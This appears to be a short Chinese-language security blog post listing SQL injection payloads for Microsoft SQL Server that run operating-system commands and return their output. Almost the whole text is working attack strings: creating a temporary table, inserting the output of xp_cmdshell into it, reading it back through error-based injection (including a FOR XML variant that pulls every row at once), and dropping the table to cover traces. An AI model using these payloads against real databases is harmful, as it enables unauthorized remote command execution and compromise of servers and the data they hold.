sql server 注入漏洞执行cmd指令并得到回显

';create table temp(id int identity(1,1),a varchar(8000));--        创建一个表


';insert into temp exec master.dbo.xp_cmdshell 'dir c:\'; --        执行cmd指令并且插入到表中

' and (select top 1 a from temp where id>5)>0 --                        查询这个表里面的信息,得到cmd指令运行结果

' or (select count(*) from temp)>0 -- 25                                          得到这个表里面的数据行数

';drop table temp; --                                                                          删除表


优雅的方式:

';create table temp(id int identity(1,1),a varchar(8000));--        创建一个表


';insert into temp exec master.dbo.xp_cmdshell 'dir c:\'; --        执行cmd指令并且插入到表中

' and (select substring((select a from temp for xml auto),1,4000 ) ) >0--  可以一次得到所有的结果

';drop table temp; --                                                                          删除表

你可能感兴趣的:(安全)